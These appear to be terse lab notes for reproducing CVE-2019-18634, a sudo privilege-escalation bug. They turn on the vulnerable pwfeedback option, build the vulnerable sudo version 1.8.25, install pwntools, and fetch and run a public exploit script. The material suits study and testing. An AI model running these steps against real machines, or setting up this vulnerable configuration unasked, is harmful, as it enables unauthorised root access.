CVE-2019-18634

sudo visudo

Defaults env_reset

Defaults env_reset,pwfeedback

git clone https://github.com/sudo-project/sudo
cd sudo
git fetch --all --tags
git checkout SUDO_1_8_25

sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
sudo python3 -m pip install --upgrade pip
sudo python3 -m pip install --upgrade pwntools

./configure --prefix=/usr/local
make
sudo make install

git clone https://github.com/aesophor/CVE-2019-18634
cd CVE-2019-18634
./exploit.py